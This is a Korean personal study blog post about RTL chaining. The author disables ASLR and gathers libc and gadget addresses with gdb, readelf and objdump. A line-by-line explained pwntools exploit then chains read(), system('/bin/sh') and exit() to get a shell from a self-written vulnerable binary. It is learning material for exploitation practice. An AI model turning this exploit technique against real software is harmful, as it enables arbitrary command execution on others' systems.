-
RTL Chaining 공부 1정보보안/포너블 2018. 5. 18. 08:32
RTL Chaining 공부 1
ROP에 한 발짝 더
RTL 얼른 보고 이번에는 RTL Chaining을 공부하기로~!
이번에도 http://d4m0n.tistory.com/80에서의 D4m0n님 블로그의 설명대로 취약점이 있는 코드를 공격하도록 하겠다.
RTL Chaining이란?
RTL 기법을 응용하여 함수 여러 개를 연계하여 호출하는 것
공격하기
아래와 같이 실행되도록 만든 다음에...
read()
로 실행할 명령어를 입력받음-> bss 영역에 저장
->
system()
으로 실행->
exit()
으로 종료하도록 하기...실행 흐름을 바꾸는 데 성공했으면
/bin/sh
를 입력(전달)해서 쉘 따기공격할 코드
이전 글과 공격할 코드가 같다.
#include <stdio.h> #include <unistd.h> int main(void){ char buf[256]; read(0, buf, 512); printf("%s", buf); }
방법이 다를 뿐...
메모리 보호 해제
junhoyeo@ubuntu:~$ sudo sysctl -w kernel.randomize_va_space=0 [sudo] password for junhoyeo: kernel.randomize_va_space = 0
다른 메모리 보호 옵션을 해제한 상태로 컴파일하는 과정 역시 전에 하였으므로 패스.
libc 함수 주소 가져오기
junhoyeo@ubuntu:~$ gdb -q rtl rtl: No such file or directory. (gdb) b *main No symbol table is loaded. Use the "file" command. (gdb) [1]+ Stopped gdb -q rtl junhoyeo@ubuntu:~$ cd pwn/rtl/ junhoyeo@ubuntu:~/pwn/rtl$ gdb -q rtl Reading symbols from rtl...(no debugging symbols found)...done. (gdb) b *main Breakpoint 1 at 0x804843b (gdb) r Starting program: /home/junhoyeo/pwn/rtl/rtl Breakpoint 1, 0x0804843b in main () (gdb) p read $1 = {<text variable, no debug info>} 0xb7ee0c00 <read> (gdb) p system $2 = {<text variable, no debug info>} 0xb7e45d80 <__libc_system> (gdb) p exit $3 = {<text variable, no debug info>} 0xb7e399b0 <__GI_exit>
공격에 사용할 함수의 메모리 주소를 가져온다.
read()
,system()
,exit()
를 사용할 것이고, 각각의 주소는 다음과 같다.read()
:0xb7ee0c00
system()
:0xb7e45d80
exit()
:0xb7e399b0
bss 영역 주소 가져오기
junhoyeo@ubuntu:~/pwn/rtl$ readelf -S rtl There are 31 section headers, starting at offset 0x17f8: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4 [ 6] .dynstr STRTAB 0804822c 00022c 000051 00 A 0 0 1 [ 7] .gnu.version VERSYM 0804827e 00027e 00000c 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 0804828c 00028c 000020 00 A 6 1 4 [ 9] .rel.dyn REL 080482ac 0002ac 000008 08 A 5 0 4 [10] .rel.plt REL 080482b4 0002b4 000018 08 AI 5 24 4 [11] .init PROGBITS 080482cc 0002cc 000023 00 AX 0 0 4 [12] .plt PROGBITS 080482f0 0002f0 000040 04 AX 0 0 16 [13] .plt.got PROGBITS 08048330 000330 000008 00 AX 0 0 8 [14] .text PROGBITS 08048340 000340 0001a2 00 AX 0 0 16 [15] .fini PROGBITS 080484e4 0004e4 000014 00 AX 0 0 4 [16] .rodata PROGBITS 080484f8 0004f8 00000b 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 08048504 000504 00002c 00 A 0 0 4 [18] .eh_frame PROGBITS 08048530 000530 0000c0 00 A 0 0 4 [19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4 [25] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 [26] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1 [27] .comment PROGBITS 00000000 001020 00002d 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 0016ed 00010a 00 0 0 1 [29] .symtab SYMTAB 00000000 001050 000460 10 30 47 4 [30] .strtab STRTAB 00000000 0014b0 00023d 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
/bin/sh
문자열을 저장할 공간이 필요한데, 먼저 쓰기 권한이 있어야 하고 주소값이 바뀌면 안 된다.조건에 맞는 영역은 data, bss, dynamic 등이 있다고 하는데, 여기서는 bss 영역을 사용하겠다.
ELF 파일에 대한 정보를 표시하는
readelf
명령어를 사용하여 bss 영역의 주소를 구한다.Gadget 구하기
junhoyeo@ubuntu:~/pwn/rtl$ objdump -d rtl | grep -B3 ret 80482e5: e8 46 00 00 00 call 8048330 <__libc_start_main@plt+0x10> 80482ea: 83 c4 08 add $0x8,%esp 80482ed: 5b pop %ebx 80482ee: c3 ret -- 08048370 <__x86.get_pc_thunk.bx>: 8048370: 8b 1c 24 mov (%esp),%ebx 8048373: c3 ret -- 80483a3: ff d0 call *%eax 80483a5: 83 c4 10 add $0x10,%esp 80483a8: c9 leave 80483a9: f3 c3 repz ret -- 80483dd: ff d2 call *%edx 80483df: 83 c4 10 add $0x10,%esp 80483e2: c9 leave 80483e3: f3 c3 repz ret -- 80483ff: e8 7c ff ff ff call 8048380 <deregister_tm_clones> 8048404: c6 05 20 a0 04 08 01 movb $0x1,0x804a020 804840b: c9 leave 804840c: f3 c3 repz ret -- 804846b: 83 c4 08 add $0x8,%esp 804846e: b8 00 00 00 00 mov $0x0,%eax 8048473: c9 leave 8048474: c3 ret -- 80484d9: 5e pop %esi 80484da: 5f pop %edi 80484db: 5d pop %ebp 80484dc: c3 ret 80484dd: 8d 76 00 lea 0x0(%esi),%esi 080484e0 <__libc_csu_fini>: 80484e0: f3 c3 repz ret -- 80484ed: 81 c3 13 1b 00 00 add $0x1b13,%ebx 80484f3: 83 c4 08 add $0x8,%esp 80484f6: 5b pop %ebx 80484f7: c3 ret
위에서 libc 함수를 호출하기 위해서 그 주소를 구한 바 있다.
그런데 그냥 호출하는 것이 아니라 스택에 인자를 넣어주고 실행이 완료되면 다시 빼 줘서 스택 포인터를 이동시켜야 한다.
'다시 빼 주는(
pop
)' 작업을 위해서 그러한 기능을 하는 Gadget이 필요한 것 같다.위에서처럼 pop, pop, pop, ret이 필요하면
0x80484d9
를 주소로 시작하면 되고, pop ret이 필요하면80484db
를 주소로 사용하면 된다.Exploit
from pwn import * import os p = process('./rtl') read_adder = 0xb7ee0c00 system_adder = 0xb7e45d80 exit_adder = 0xb7e399b0 pr = 0x80484db pppr = 0x80484d9 bss = 0x0804a020 payload = 'A'*260 # 256 + 4 payload += p32(read_adder) payload += p32(pppr) payload += p32(0x0) payload += p32(bss) payload += p32(0x8) # read(0, bss, 8); # -> read input('/bin/sh'), save on bss # pop pop pop ret -> pop 3 parameters payload += p32(system_adder) payload += p32(pr) payload += p32(bss) # system(bss); -> system('/bin/sh'); # pop ret -> pop 1 parameter payload += p32(exit_adder) # exit(); payload += 'A'*4 payload += p32(0x0) p.send(payload) sleep(0.5) p.send('/bin/sh\x00') # send '/bin/sh' p.interactive()
exploit 코드인데 한 부분씩 살펴보자.
from pwn import * import os
일단 필요한 모듈인 os와 pwntools를 import 해주고
p = process('./rtl') read_adder = 0xb7ee0c00 system_adder = 0xb7e45d80 exit_adder = 0xb7e399b0 pr = 0x80484db pppr = 0x80484d9 bss = 0x0804a020
프로세스를 생성하고 앞에서 구한 주소를 저장한다.
payload = 'A'*260 # 256 + 4
버퍼 크기(256) + SFP(4) = 260을 dummy로 채운다.
payload += p32(read_adder) payload += p32(pppr) payload += p32(0x0) payload += p32(bss) payload += p32(0x8) # read(0, bss, 8); # -> read input('/bin/sh'), save on bss # pop pop pop ret -> pop 3 parameters
잘 모르겠는데 왠지
read(0, bss, 8);
이렇게 표현할 수 있는 부분 같다.사용자에게 8바이트짜리 문자열을 입력받아서 bss 영역에 저장한다.
왜 8바이트냐면
/bin/sh(7)+NULL Byte(1)=8
이기 때문...payload += p32(system_adder) payload += p32(pr) payload += p32(bss) # system(bss); -> system('/bin/sh'); # pop ret -> pop 1 parameter
이번에는 입력받은 문자열을
system()
함수로 execute한다.payload += p32(exit_adder) # exit();
실행이 끝났으면 깔끔하게(?)
exit()
으로 종료한다.payload += 'A'*4 payload += p32(0x0) p.send(payload) sleep(0.5) p.send('/bin/sh\x00') # send '/bin/sh' p.interactive()
dummy로 4바이트 채우고 payload 보내고
/bin/sh
를 입력해주면 쉘이 따진다.마지막에
0x0
넣는 것은 NULL Byte를 만들어주는 건가...? 잘 모르겠다.아무튼 이제 exploit을 실행해 보자.
Exploit 실행
우와 해낑성공
'정보보안 > 포너블' 카테고리의 다른 글
GOT Overwrite 공부 2 (0) 2018.05.20 GOT Overwrite 공부 1 (0) 2018.05.18 pwnable.kr 3번 bof : pwntools로 자동으로 브포 때리면서 풀기 (0) 2018.05.17 RTL 공부 1 (0) 2018.05.17 pwnable.kr 4번 flag (0) 2018.02.04